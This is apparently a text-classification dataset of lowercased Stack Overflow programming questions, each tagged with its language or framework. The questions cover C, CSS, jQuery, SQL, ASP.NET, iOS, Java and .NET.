a program that would show no error but would not give the desired outcome  in a town  the percentage of men is 52.the percentage of total literacy is 48. if total percentage of literate men is 35 of total population  find the total number of illiterate men and women separately.the population of the town is 80 000.    there is that question in my math book and i tried to write a program on it.     after building the program  the compiler showed no error but the program would not give the desired outcome. i rewrote the program many times and the code given below is my final one. i am thinking that there must be some arithmetical association error but could not figure out where.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {     int men  wmen  litm  litwo  illit  lit  tot=80000  illitwmen;     men = (52/100) * 80000;     wmen = tot-men;     lit = (48/100) * 80000;     litm = (35/100) * 80000;     litwo = lit-litm;     illitwmen = wmen-litwo;     printf( hence the total illiterate men of the town is %d\n   men-litm);     printf( hence the total illiterate women is %d\n   illitwmen);     return 0; } </code></pre>,c
why border-radius:200px is not a circle shape in safari 5/6   i used border-radius:200px to make the image to be a circle shape  it works fine on ie10  chrome  firefox  but it s not a compete circle on safari 5 and safari 6.    my css code is:   <pre><code>.team-member img {   display: block;   width:50%;   height:auto;   margin: 0 auto 20px;   border: 4px solid #ccc;   -webkit-border-radius: 200px;   -khtml-border-radius: 200px;   -moz-border-radius: 200px;   border-radius: 200px; } </code></pre>   when i remove the border:3px solid #ccc  it works fine on safari  but i need keep the border around the image  how to fix this issue  thanks!!!    demo is here: <a href= http://jsfiddle.net/badjohnny/kyfha/  rel= nofollow >http://jsfiddle.net/badjohnny/kyfha/</a>,css
toggling visibility of a span inside li element fails  i have a list <code>&lt;li&gt;</code> that i have made and in it i have some spans. this is the html   <pre><code>&lt;ul class= tracking_nav nav nav-tabs nav-stacked &gt;   &lt;li class= tracking_list_type  style= .tracking_list_type:hover{background-color:none !important} &gt;   &lt;a href= # &gt;&lt;span class= topinfo &gt;&lt;span class= number_plates &gt;&lt;img src= u_online.gif  /&gt;number 10&lt;/span&gt;&lt;/span&gt;&lt;span class= moving_status &gt;76 moving&lt;/span&gt;&lt;br/&gt;&lt;span class= link_text &gt;brother david cameroon&lt;/span&gt;&lt;/a&gt;&lt;span class= linkso &gt;&lt;a href=  &gt;tracking&lt;/a&gt;&lt;a href=  &gt;playback&lt;/a&gt;&lt;a href=  &gt;commands&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;      &lt;li class= tracking_list_type  style= .tracking_list_type:hover{background-color:none !important} &gt;   &lt;a href= # &gt;&lt;span class= topinfo &gt;&lt;span class= number_plates &gt;&lt;img src= u_online.gif  /&gt;number 10&lt;/span&gt;&lt;/span&gt;&lt;span class= moving_status &gt;76 moving&lt;/span&gt;&lt;br/&gt;&lt;span class= link_text &gt;brother david cameroon&lt;/span&gt;&lt;/a&gt;&lt;span class= linkso &gt;&lt;a href=  &gt;tracking&lt;/a&gt;&lt;a href=  &gt;playback&lt;/a&gt;&lt;a href=  &gt;commands&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class= tracking_list_type  style= .tracking_list_type:hover{background-color:none !important} &gt;   &lt;a href= # &gt;&lt;span class= topinfo &gt;&lt;span class= number_plates &gt;&lt;img src= u_online.gif  /&gt;number 10&lt;/span&gt;&lt;/span&gt;&lt;span class= moving_status &gt;76 moving&lt;/span&gt;&lt;br/&gt;&lt;span class= link_text &gt;brother david cameroon&lt;/span&gt;&lt;/a&gt;&lt;span class= linkso &gt;&lt;a href=  &gt;tracking&lt;/a&gt;&lt;a href=  &gt;playback&lt;/a&gt;&lt;a href=  &gt;commands&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class= tracking_list_type  style= .tracking_list_type:hover{background-color:none !important} &gt;   &lt;a href= # &gt;&lt;span class= topinfo &gt;&lt;span class= number_plates &gt;&lt;img src= u_online.gif  /&gt;number 10&lt;/span&gt;&lt;/span&gt;&lt;span class= moving_status &gt;76 moving&lt;/span&gt;&lt;br/&gt;&lt;span class= link_text &gt;brother david cameroon&lt;/span&gt;&lt;/a&gt;&lt;span class= linkso &gt;&lt;a href=  &gt;tracking&lt;/a&gt;&lt;a href=  &gt;playback&lt;/a&gt;&lt;a href=  &gt;commands&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;  &lt;/ul&gt; </code></pre>   by default i have hidden <code>&lt;span class= linkso &gt;&lt;a href=  &gt;tracking&lt;/a&gt;&lt;a href=  &gt;playback&lt;/a&gt;&lt;a href=  &gt;commands&lt;/a&gt;&lt;/span&gt;</code> and the only way to display it is by clicking <code>&lt;li class= tracking_list_type &gt;....&lt;/li&gt;</code> which houses <code>&lt;span class= linkso &gt;&lt;a href=  &gt;tracking&lt;/a&gt;&lt;a href=  &gt;playback&lt;/a&gt;&lt;a href=  &gt;commands&lt;/a&gt;&lt;/span&gt;</code> once li is clicked i want the div with the class <code>linkso</code> to be displayed and if i click another li i want that li s <code>linkso</code> to be displayed and any other <code>linkso</code> visible to be hidden.    here is my code <a href= https://jsfiddle.net/codebreaker87/eoo87zkk/13/  rel= nofollow >https://jsfiddle.net/codebreaker87/eoo87zkk/13/</a>    how can i fix my code .,jquery
datakeynames  request.querystring  i am doing something wrong in this small code    page1: `    <pre><code>protected void gridview1_onrowdatabound(object sender  gridviewroweventargs e) {         usertype = ddlusertype.selecteditem.text;        if (e.row.rowtype == datacontrolrowtype.datarow)        {            // get the value in the hyperlink column.            string hyperlinkvalue = e.row.cells[1].text;            hyperlink mylink = new hyperlink();             mylink.navigateurl =  ~/showmmbprofilestats1.aspx profile_id={0} ;            mylink.text = hyperlinkvalue; } </code></pre>   in showmmbprofilestats1.aspx   <pre><code>protected void page_load(object sender  eventargs e) {          int mmbprofileid = convert.toint32(request.querystring[0]);  } </code></pre>   it gives me an error   <blockquote>    input string was not in a correct   format.  </blockquote>   in the aspx page  i am assigning <code>datakeynames= profile_id </code>    how do i carry this <code>profile_id</code> to page1.                 ` thanks sun,asp.net
mysql avg value with specified number of rows  i have a simple table with value (int)  created (timestamp)    i would like to do a query that return an arbitrary number of rows with avg (value) and avg(created). the grouping function is the order by of created  means that if i ask for 2 rows  i should obtain a set based on the first rows ordered by created.    i have the following table:   <pre><code>create table  log(value int created timestamp);  insert into log values (1  2016-01-01 00:00:00 )  (2  2016-01-01 01:00:00 )  (3  2016-01-01 02:00:00 )   (4  2016-01-01 03:00:00 )  (5  2016-01-01 04:00:00 )  (6  2016-01-01 05:00:00 )   (7  2016-01-01 06:00:00 )  (8  2016-01-01 07:00:00 )  (9  2016-01-01 08:00:00 ); </code></pre>   <a href= http://sqlfiddle.com/#!9/b9a94  rel= nofollow >http://sqlfiddle.com/#!9/b9a94</a>    i want to retrive 3 rows that should be   <pre><code>2-2016-01-01 01:00:00 5-2016-01-01 04:00:00 8-2016-01-01 07:00:00 </code></pre>   it s possible to do it in a single query without using java or php processing,mysql
handle keyboard operations  i am doing some client &amp; sever programs in that i will bring the client screen to my server application... it s same like vnc.. here i have done all move moving as well as mouse clicking opereations by help of remoting concept here keyboard operation is pending in that i could send keybord values to corresponding focused controls... now i want to make some short cut key operations like ctrl+a  ctrl+v etc..... i want to done this by help of keydata.... how can i do this operation ... here i can send a key to client machne like a  control a  shift etc... that operation should occue in client machine this is i want.,c#
alternative layout of displaying inputs in table row. html  i would like to know what is a good alternative to displaying a large number of inputs on a table row.    currently my table is large causing the user to scroll.    i thought of using a modal popup  but unfortunately the user needs a constant visual on inputted values in all rows.    this is due to adding variables such as colours  width  drop and changing any input affects pricing.    for example:   <pre><code>&lt;tr&gt; &lt;td&gt;input 1&lt;/td&gt; &lt;td&gt;input 2&lt;/td&gt; &lt;td&gt;input 3&lt;/td&gt; &lt;td&gt;input 4&lt;/td&gt; &lt;td&gt;input 5&lt;/td&gt; &lt;td&gt;input 6&lt;/td&gt; &lt;td&gt;input 7&lt;/td&gt; &lt;td&gt;input 8&lt;/td&gt; &lt;td&gt;input 9&lt;/td&gt; &lt;td&gt;input 10&lt;/td&gt; &lt;td&gt;price&lt;/td&gt; &lt;/tr&gt; </code></pre>   at the moment the user is using an offline sheet to place orders and do calculations. i have looked around but have not found a solution. this <a href= https://softwareengineering.stackexchange.com/questions/277778/why-are-people-making-tables-with-divs >post</a> suggests divs  but i am not sure on the layout. i would appreciate any recommendations.,html
clearing unwanted characters with replace  i tried to do like this but couldn t manage to work  looking for help   <pre><code>declare @badstrings table (item varchar(50))  insert into @badstrings(item) select  &gt;  union all select  &lt;  union all select  (  union all select  )  union all select  !  union all select     union all select  @   select replace(u.displayname  b.item    )   * from user u  @badstrings b </code></pre>,sql
why is a .crash log showing crash in uipresentationcontroller but my app doesn t use uipresentationcontroller   i ve got an app in the app store and there s a crash report showing there s a very occasional crash with details below:   <pre><code>incident identifier: c25bd8df-faa9-4a5f-b3d2-6e1ce81f1d17 crashreporter key:   798f7dee81117ed0f05b3f19dc4bbc2874eefaf6 hardware model:      iphone9 2 process:             my app [1936] path:                /private/var/containers/bundle/application/757d7be6-4f91-4b74-ba64-09fa53ae3e16/my app.app/my app identifier:          com.app.myapp version:             12 (1.1) code type:           arm-64 (native) role:                foreground parent process:      launchd [1] coalition:           com.app.myapp [701]   date/time:           2017-06-27 20:05:28.7901 -0400 launch time:         2017-06-27 16:38:23.0376 -0400 os version:          iphone os 10.3.2 (14f89) report version:      104  exception type:  exc_bad_access (sigsegv) exception subtype: kern_invalid_address at 0x0000000000000010 termination signal: segmentation fault: 11 termination reason: namespace signal  code 0xb terminating process: exc handler [0] triggered by thread:  0  thread 0 name: thread 0 crashed: 0   uikit                           0x0000000190ee4264 __56-[uipresentationcontroller runtransitionforcurrentstate]_block_invoke + 444 (uipresentationcontroller.m:731) 1   uikit                           0x0000000190ee4260 __56-[uipresentationcontroller runtransitionforcurrentstate]_block_invoke + 440 (uipresentationcontroller.m:731) 2   uikit                           0x0000000190e20950 _runaftercacommitdeferredblocks + 292 (uiapplication.m:2469) 3   uikit                           0x0000000190e129ec _cleanupaftercaflushandrundeferredblocks + 528 (uiapplication.m:2447) 4   uikit                           0x0000000190b86648 _aftercacommithandler + 132 (uiapplication.m:2499) 5   corefoundation                  0x000000018aa109a8 __cfrunloop_is_calling_out_to_an_observer_callback_function__ + 32 (cfrunloop.c:1802) 6   corefoundation                  0x000000018aa0e630 __cfrunloopdoobservers + 372 (cfrunloop.c:1898) 7   corefoundation                  0x000000018aa0ea7c __cfrunlooprun + 956 (cfrunloop.c:2849) 8   corefoundation                  0x000000018a93eda4 cfrunlooprunspecific + 424 (cfrunloop.c:3113) 9   graphicsservices                0x000000018c3a8074 gseventrunmodal + 100 (gsevent.c:2245) 10  uikit                           0x0000000190bf9058 uiapplicationmain + 208 (uiapplication.m:4089) 11  my app                          0x000000010005a8b4 main + 56 (database.swift:17) 12  libdyld.dylib                   0x000000018994d59c start + 4 </code></pre>   my app doesn t use uipresentationcontroller so why is this showing as the last line in thread 0 which is the thread that crashed,ios
setting the mailcomposer s toolbar style  how is the mfmailcomposeviewcontroller s top bar s style set     is this a navigation bar      i read the docs and cant seem to find how to set this.,iphone
webpage made in 1024px width showing horizontal scrollbar only on 1024px screens  webpage made in <code>1024px</code> width  but have a horizontal scrollbar in <code>1024</code> screens only. please help me to fix this issue using <code>jquery</code> plugin or any other idea without reducing the width of whole site.,html
bean reflection  is there a way to copy objects that contain other objects as long as they have the same getter and setter method names  for instance i m getting objects back from a web service and most of the objects contain other objects. most go at least 5 layers deep where they branch off with other objects.     i want to set the objects returned to my own objects of the same name with the same getter and setter method names. my problem is i can t guarantee the web service won t change meaning i can t just use the objects generated from the wsdl.    i m starting to look into beanutils but it doesn t seem to recursively look through objects. any advice or a point in the right direction would be great. thank you.,java
simple factory - checking data correctness  i have <code>month</code> class which contains some data eg. <code>number</code>  <code>number of days</code> etc. i would like to create this class instance simply. i decided to create simple factory which contains months data and returns ready object. my question is where to check data correctness eg. january has 31 days and a couple others... should <code>month</code> class checks that data is correct or <code>factory</code> should be responsible for it  (in this case we can create <code>month</code> object with invalid data)...,java
jquery - is there any unclick event   i have one principal checkbox to check automatically all the checkboxes from my html table.    and i used this code to do it:   <pre><code>   $( .checkallsave ).click( function() {         $( .savecheck ).attr( checked  true);     }); </code></pre>   now i want to uncheck all the checkboxes when the principal checkbox is unchecked too  how can i do that,jquery
how to send email to multiple email addresses  i am having a problem sending email to multiple email addresses using c#.   <pre><code>var email = new emailmessageapidto {     sendto = input.sendto      body = input.body      mailvariables = new list&lt;variabledictionarydto&gt;()      recipient = new emailrecipientdto     {         emailaddress = input.sendto          firstname = input.sendto.split( @ ).first()          lastname = input.sendto.split( @ ).last()     }      senddatetime = clock.now      subject = input.subject      sender = new emailsenderdto     {         emailaddress = account.smtpsettings.defaultsenderaddress          firstname = account.smtpsettings.defaultsenderdisplayname.split(   ).first()          lastname = account.smtpsettings.defaultsenderdisplayname.split(   ).last()     } replyto = account.smtpsettings.defaultsenderaddress }; </code></pre>   do i need to do some escape for the  ;  delimiter:  if so  how,c#
how to reverse the effect of -*-user-select:none;   i have 2 css files linked in one page.    the first file contains formatting for the main site  and the second contain formatting for a  popup  iframe.    the first file has 2 lines  that disallow selection on the page:   <pre><code>body {     -moz-user-select: none;     -webkit-user-select: none; } </code></pre>   i need some sort of value instead of <code>none</code>  or some different property to put in the second css file  so the user can select inside the iframe.,css
bower configuration files template and appsetting template even web/general template missing  i was using <code>asp.net</code> core 2.0 with visual studio 2017 suddenly bower configuration files template missed out and even <strong>web/general</strong> template disappeared,asp.net
how can i load a angularjs file in index.html dynamically   each app has different modules  so they need to load different compiled js files in index.html as below.    just find that it does not work. so is there a good way to do it  or need any callback to boot angularjs app manually  thanks.    <pre><code>&lt;script&gt;     var appid = unescape(window.location.href).split( #/ )[1].split( / )[0];     loadcomponent( ../.tmp/client/scripts/  + appid +  .js ); &lt;/script&gt; </code></pre>,angularjs
c - explanation for this answer <pre><code>int main(void) {      float w = 8.456;     int b = 3;      printf( %d   (int)(b * w));      return 0; } </code></pre>   can t seem to understand how does this equal to <code>25</code>  even though it s <code>int * float</code> and is displayed as an <code>int</code>  and what does <code>int</code> means in <code>printf</code> line... isn t <code>int</code> multiply by <code>float</code> a <code>0</code>,c
sum values from different tables  i read some topics about this but i m not very good with sql. i have 10 tables with these fields:   <ul> <li>value</li> <li>type</li> <li>date</li> </ul>   i want to sum all the value fileds together when they have a specific type. i was trying to do something like this  but it s not working.   <pre><code>select sum(tab1.value) + sum(tab2.value) from tab1  tab2 where tab1.type = tab2.type =  box  </code></pre>   i guess i could do many simple queries like these and then sum all the results   <pre><code>select sum(value) from tab1 where type= box  select sum(value) from tab2 where type= box  </code></pre>   but i wonder if i can do one single query    thanks,sql
python: specify regex pattern that divides the string roughly into half and make a tuple  i have a string:   <pre><code>s =  abckfdjrfmdlerkdflkerwerjf  </code></pre>   i am trying to make a regex pattern that divides the string into half. i believe it s similar to:    <pre><code>word_1 =  jupiter  pattern_1 = re.compile( (\w+\s) +word_1+ (\s\w+) ) </code></pre>   but this is much more complicated because i need to first find the place that divides the string into half. what i want to do is:    for a function called divider    <pre><code>split_s = divider( abckfndnvmcndskde     nvm ) print(split_s)  ( abckfnd   cndskde) </code></pre>   i really don t understand what to start first in this situation. if it s difficult to understand my question  please do tell me.,python
unable to start debug on web server webserver is not configured properly  i am getting the error as i specifed and when i check out the properties <code>web sites</code> in <code>iis</code> it is showing as per below is it correct i think some are miising here can any one tell how to resolve this    <img src= https://i.stack.imgur.com/l1odw.png  alt= enter image description here >,asp.net
.net 4.0 action<in t> not works for me  here is what i m trying to do    <pre><code>idictionary&lt;type  action&lt;baseclass&gt;&gt; handlers = new dictionary&lt;type  action&lt;baseclass&gt;&gt;();  public void register&lt;t&gt;(action&lt;t&gt; handler) where t:baseclass {     handlers.add(typeof(t) handler); } </code></pre>   its not compiling    is it possible in another way,.net
using jquery  how can i select all the divs in my document with id names containing specific text   using jquery  how can i select all the divs in my document with id names containing specific text     i want to select all the elements that contain  parent   the problem is the string parent might be in the middle of the string.    i ve been trying to use:   <pre><code>var allcontent_collection = $( div[id^=.*parent.*] ) </code></pre>   it is not working. should it or am i completely wrong in my approach,jquery
optimizing a recursive double linked list delete node multiple times  i wrote a recursive doubly linked c++ functions to delete all the nodes in a doubly linked list having a certain value. is it possible to optimize this  thank you.    <pre><code>struct marynode {     int value;     marynode* next;     marynode* prev; };  void doublelinkedlistdeletemultiple(marynode*&amp; llist  int value){     marynode* tmp = llist;      if (llist == null)         return;      if (llist-&gt;value == value){             doublelinkedlistdeletemultiple(llist-&gt;next  value);              if (llist-&gt;next == null){                 marynode* prev = llist-&gt;prev;                 delete llist;                 llist = null;                 llist = prev;                 if (llist)                     llist-&gt;next = 0;             }                else if (llist-&gt;prev == null){                 marynode* next = llist-&gt;next;                 delete llist;                 llist = null;                 llist = next;                 if (llist)                     llist-&gt;prev = 0;             }                else{                 marynode *x = llist;                 marynode  *mynext = x-&gt;next;                 while (x){                     if (x-&gt;value == value){                         marynode* clara = x-&gt;next;                         marynode* zprev = x-&gt;prev;                         delete x;                         x = null;                         x = clara;                         llist = clara;                         if (llist)                             llist-&gt;prev = zprev;                     }                     else {                         x = mynext;                     }                        if (mynext){                         mynext = mynext-&gt;next;                     }                 }              }     }     else{             doublelinkedlistdeletemultiple(llist-&gt;next  value);      } } </code></pre>,c++
unable to signup in my ios app which uses firebase as an blackened following is error  an ssl error has occurred and a secure connection to the server cannot be made.     <blockquote>    nserrorfailingurlkey=<a href= https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupnewuser key=aizasyczidwr0avqixlfpwgwx9hnyva3dr-duay  rel= nofollow noreferrer >https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupnewuser key=aizasyczidwr0avqixlfpwgwx9hnyva3dr-duay</a>  nserrorfailingurlstringkey=<a href= https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupnewuser key=aizasyczidwr0avqixlfpwgwx9hnyva3dr-duay  rel= nofollow noreferrer >https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupnewuser key=aizasyczidwr0avqixlfpwgwx9hnyva3dr-duay</a>  _kcfstreamerrordomainkey=3}}})  </blockquote>,ios
executing function several times  i can t get the following code working properly. google didn t help unfortunately.    what i want is that the function is executed immediately  then again after everything has loaded (seems to be safer for a data saving option in mobile chrome) and again anytime the window is resized.    i cut down the code extremely  so it s easy to see right away what s happening  while the code still basically does what it s supposed to.    but for example classlist.toggle doesn t work here in firefox and chrome  it s not giving the class  only an empty class attribute. ie 11 gives the class correctly.    thanks for any hints!   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;test&lt;/title&gt; &lt;style&gt;  * {     margin: 0;     padding: 20px;     border: none;     }  p {     color: black;     }  body.state-2 p {     color: red;     }  h2 {     position: static;     }  @media only screen and (max-width: 1250px) {  h2 {     position: relative;     }  }  &lt;/style&gt;  &lt;body&gt;  &lt;h2&gt;headline&lt;/h2&gt;  &lt;p&gt;hello&lt;/p&gt;  &lt;script&gt;  function togglestate() {     var toggle = document.queryselector( h2 );     var container = document.queryselector( body );     if (window.getcomputedstyle(toggle null).getpropertyvalue( position ) ==  relative )     {         toggle.setattribute( role    button );     }     else     {         toggle.removeattribute( role );     }     toggle.addeventlistener( click   function()     {         container.classlist.toggle( state-2 );     }     ); }  togglestate(); window.onload = togglestate; window.onresize = togglestate;  &lt;/script&gt; </code></pre>,javascript
code is supposed to give segmentation fault... but its not. why   in the fallowing code the pointer ptr is referenced to a integer variable. when is say *++ptr it is showing a value instead of showing segmentation fault.    <pre><code>#include&lt;stdio.h&gt; void main() {     int *ptr;     int a=5;     ptr=&amp;a;     printf( %p\n  &amp;a);     printf(  %d\n  *++ptr); } </code></pre>,c
how does rem differ from em in css   in website source  i have sometimes seen developers use the <code>rem</code> unit.  is it similar to <code>em</code>  i tried it to see what it actually does  but what is it relative to     <a href= http://jsfiddle.net/ujfwd/  rel= noreferrer >demo</a>    html   <pre><code>&lt;div&gt;hello &lt;p&gt;world&lt;/p&gt;&lt;/div&gt; </code></pre>   css   <pre><code>div {     font-size: 1.4rem; }  div p {     font-size: 1.4rem; } </code></pre>,css
angularjs retaining session  i m using asp.net webapi. authentication is basic authentication by thinktecture library.     when the user logs in  the username and password is stored in a session cookie using <code>$cookiestore</code>.     i m adding the credentials to the header for every get request as below   <pre><code>$http.defaults.headers.common[ authorization ] =  basic  +$cookiestore.get( __requestverificationtoken ); </code></pre>   the problem is  i have to call this before every get request.  is there a way that the angular will  automatically add this to the header and when the response is 401  then the user should automatically redirect to login page.,angularjs
formsauthentication timeout issue <pre><code>protected void page_load(object sender  eventargs e)         {             if (httpcontext.current.user.identity.isauthenticated)             {                 session[ user ] =  authenticated ;                 session[ username ] = httpcontext.current.user.identity.name;                 response.redirect( homepage.aspx );             }          }  protected void btnsubmit_click(object sender  eventargs e)         {            int recordexistcount = fc.authenticate(txtusername.text.trim()  txtpassword.text.trim());            if (recordexistcount == 1)            {                session[ user ] =  authenticated ;                session[ username ] = txtusername.text.trim();                fc.isonlinerecord(session[ username ].tostring() true);                var ticket = new formsauthenticationticket(2 session[ username ].tostring() datetime.now datetime.now.addminutes(formsauthentication.timeout.totalminutes)  true    formsauthentication.formscookiepath);                var encryptedticket = formsauthentication.encrypt(ticket);                var cookie = new httpcookie(formsauthentication.formscookiename  encryptedticket)                {                    httponly = formsauthentication.requiressl                     path = formsauthentication.formscookiepath                     domain = formsauthentication.cookiedomain                };                response.cookies.add(cookie);                response.redirect( homepage.aspx );              }   &lt;authentication mode= forms &gt;         &lt;forms loginurl= loginpage.aspx             protection= all             timeout= 60             name= .aspxauth             path= /             requiressl= false             slidingexpiration= true             defaulturl= homepage.aspx             cookieless= usedeviceprofile             enablecrossappredirects= false /&gt;       &lt;/authentication&gt; </code></pre>   my page times out when its left idle for more than 10 mins. i wonder what is going wrong,asp.net
how to change backgrond-color of any website page through url   i am facing a problem related to  css.my question is that i want to change background-color to black of any website page through url. i want this for study better to protect my eyes meanwhile i have eye problem. so what code to apply in the url to show the page black meanwhile we use this css rule like body <strong>{ background-color:#00000;}</strong> to output .i have attached two images for it to clear more better.hope will get response as soon as possible.thank you too much! <img src= https://i.stack.imgur.com/6shvt.jpg  alt= enter image description here > <img src= https://i.stack.imgur.com/iefux.jpg  alt= enter image description here >,css
java: how to access another object s subclass   i have an instance of the object vmemread (let s call it r).  the constructor for vmemread looks like   <pre><code>vmemread(sourcepos sourcepos  vvarref dest  vmemref source) </code></pre>   with fields <code>dest</code> and <code>source</code>.  i know when i want to access dest  i can just do <code>r.dest</code>.  however  i want to go  deeper  into source.    vmref has two nested classes <code>vmemref.global</code> and <code>vmemref.stack</code>.  vmemref.global has the constructor   <pre><code>vmemref.global(sourcepos sourcepos  vaddr&lt;vdatasegment&gt; base  int byteoffset)   </code></pre>   i want to access the <code>int byteoffset</code>.  in effect  i want to do something like <code>r.source.global.byteoffset</code> but java doesn t let me do this.      is there any way i can access that value     documentation: vmemread: <a href= http://cs.ucla.edu/classes/spring11/cs132/kannan/vapor-parser/vapor-parser-javadoc/cs132/vapor/ast/vmemread.html#source  rel= nofollow >http://cs.ucla.edu/classes/spring11/cs132/kannan/vapor-parser/vapor-parser-javadoc/cs132/vapor/ast/vmemread.html#source</a>    vmemref: <a href= http://cs.ucla.edu/classes/spring11/cs132/kannan/vapor-parser/vapor-parser-javadoc/cs132/vapor/ast/vmemref.html  rel= nofollow >http://cs.ucla.edu/classes/spring11/cs132/kannan/vapor-parser/vapor-parser-javadoc/cs132/vapor/ast/vmemref.html</a>    vmemref.global: <a href= http://cs.ucla.edu/classes/spring11/cs132/kannan/vapor-parser/vapor-parser-javadoc/cs132/vapor/ast/vmemref.global.html  rel= nofollow >http://cs.ucla.edu/classes/spring11/cs132/kannan/vapor-parser/vapor-parser-javadoc/cs132/vapor/ast/vmemref.global.html</a>    thank you very much!,java
how can i get the dvd title when all i have is a physical disc   (using .net)   <ol> <li>user puts dvd in the drive. </li> <li>program shows the title of the dvd movie and maybe even some links to web info</li> </ol>   do dvds have a  fingerprint  like music cd which can be used in a webservice lookup or is there embedded metadata on the dvd itself,.net
how does get first element of table  css confusion  <a href= https://i.stack.imgur.com/mgcfv.png  rel= nofollow noreferrer >screenshot of browser</a>    chrome browser show me that all  tags in the table is first and is added padding to every inner td tag     the scss code   <pre><code>    table      {       tr{         &amp;:first-child          &amp;:nth-child(1)          &amp;:first-of-type         {           td{             padding: 30px 0 0 0 ;           }         }       }  </code></pre>   also check the image  please.    where is my mistake,css
mysql update query with multiple joins to the same table  in my existing project database (mysql)  there are 2 tables employee and employeereference.    <a href= https://i.stack.imgur.com/ykoxr.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ykoxr.jpg  alt= enter image description here ></a>    employee table has role column which may be employee (or) manager     each manager will have a reference code and if they refer an employee that will be stored in employeereference table. he will also have a record in employeereference table with his own reference code.    now we want to update this reference code column in employeereference table with employeeid of the mangager  instead of existing reference code.    how to do this update query in mysql using multiple join within same table    any help is highly appreciated. thanks !,mysql
oracle sql comparison operator(all) behavior  i m new to oracle sql &amp; trying to query a database with the following select statement    <pre><code>select first_name || last_name  name           department_id  from employees  where department_id &gt;= all (80 90 100);   </code></pre>   the result i was expecting was all 80s  90s  100s and above but i get 100s and above. why can t i see 80s and 90s  here s a screenshot.   <pre><code>sql&gt; select first_name||     || last_name  name   department_id   2  from employees where department_id &gt;= all (80  90  100);  name                                           department_id ---------------------------------------------- ------------- nancy greenberg                                          100 daniel faviet                                            100 john chen                                                100 ismael sciarra                                           100 jose manuel urman                                        100 luis popp                                                100 shelley higgins                                          110 william gietz                                            110 </code></pre>   8 rows selected.   <pre><code>sql&gt; select distinct department_id from employees;  department_id -------------       100        30         90        20        70       110        50        80        40        60 </code></pre>,sql
css: align this right  im having this:    <a href= http://jsfiddle.net/h2rsj/2/  rel= nofollow noreferrer >http://jsfiddle.net/h2rsj/2/</a>    and i want it to be like this:    <img src= https://i.stack.imgur.com/di7d9.png  alt= enter image description here > <a href= http://i53.tinypic.com/2u7rf48.png  rel= nofollow noreferrer >http://i53.tinypic.com/2u7rf48.png</a>    so that all are vertical align with eachother  the  news  is in the middle and stars on the right and the 3 images on the left.    how can i do that  help im stuck..,css
having problems trying to use a private class declared in header file in the cpp file  i m doing a binary tree implementation and to do that i have 2 files  a header and an implementation .cpp file. in the header file i have declared in the private area a class  node   and in the .cpp file i have a function that returns  node*   however when i try to compile my code i receive an error saying  unknown type  node   in the function declaration.    relevant code:   <pre><code>//in .h private:     class node {         public:              node* left;             node* right;             int data;             node(int n) {                 this-&gt;data = n;                 this-&gt;left = null;                 this-&gt;right = null;             }       };  //in .cpp node* binary_ordered_tree_int::insert(node* n  int i) {   if(n == null) {       return new node(i);   }   if(n-&gt;data &lt;= i) {       n-&gt;right = insert(n-&gt;right  i);   }   else {       n-&gt;left = insert(n-&gt;left  i);   }   return n; } </code></pre>   thanks in advance.,c++
oracle syntax to postgres help  i am trying to convert this code from oracle:   <pre><code>create view planned as select asp.asp_space_nm         sum(mo.mo_tkr_total_off_scheduled)  total_planned    from objective mo  space asp  where asp.asp_space_nm = mo.asp_space_nm (+)    and mo.mo_msn_class_nm =  epic   group by asp.asp_space_nm </code></pre>   to postgres.    two lines in this are confusing me:   <pre><code>   sum(mo.mo_tkr_total_off_scheduled)  total_planned  </code></pre>   is this the same as this    <pre><code>   sum(mo.mo_tkr_total_off_scheduled) as total_planned </code></pre>   and i have no idea what the (+) means in this line:   <pre><code> where asp.asp_space_nm = mo.asp_space_nm (+) </code></pre>,sql
(c) loops beginner  ignoring lines <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main () {  //this code is for calculating factorial int number = 0; int factorial = 1; int i = 0; int z = 0; char yes_or_no =  0 ;  while (number &lt;= 0) //in case a negetive number is entered { printf( please enter a positive number: \n ); scanf( %d  &amp;number); if (number &lt; 0) {     printf( invalid input! \n ); } } for(i=1; i &lt;= number; ++i)     {         factorial *= i;             }     printf( the factorial of %d is %d \n  number factorial);//printing result     printf( would you like to try again  press y for yes or any other key for      no \n ); //the long printf...     scanf( %c  &amp;yes_or_no);       if (yes_or_no ==  y )     {         yes_or_no = y ;     }     else     {         yes_or_no =  z ;     }      return 0;     } </code></pre>  <hr>   this code is for claulating factional more than one time in one run (as long as the user want to calculate! i have two problems one is that the lines after the long printf are being skipped (the if is being skiped and i dont know which loop to use and how to repeat the whoul process,c
unknown column  username  in the list field  i ve got a database called persons_db. when i select pid  it gives no error. otherwise i get:     unknown column  username  in  field list    <pre><code>mysql_select_db(  persons_db  ) or die(  error . mysql_error() ); $sql =  create table if not exists `persons_db`.`my_table`( .         `pid` int not null auto_increment           primary key(pid)          `username` char(15)          `email` char(15)          `password` char(15)         ) ;  $retval = mysql_query( $sql);  if(! $retval ) {   die( could not create table:   . mysql_error()); } else     echo table created ;  $sql1 = mysql_query ( select username from my_table  $link); if (!$sql1)     echo  error ; </code></pre>,mysql
storing text to string from a file that contains spaces  so i ve been doing algorithms in c++ for about 3 months now as a hobby. i ve never had a problem i couldn t solve by googleing up until now. i m trying to read from a text file that will be converted into a hash table  but when i try and capture the data from a file it ends at a space. here s the code   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  int main() {     using namespace std;     ifstream file( this.hash );     file &gt;&gt; noskipws;      string thing;     file &gt;&gt; thing;     cout &lt;&lt; thing &lt;&lt; endl;      return 0; } </code></pre>   i m aware of the noskipws flag i just don t know how to properly implement it,c++
how can you determine what version(s) of .net are running on a system   what are the different ways (programmatically and otherwise) to determine what versions of .net are running on a system,.net
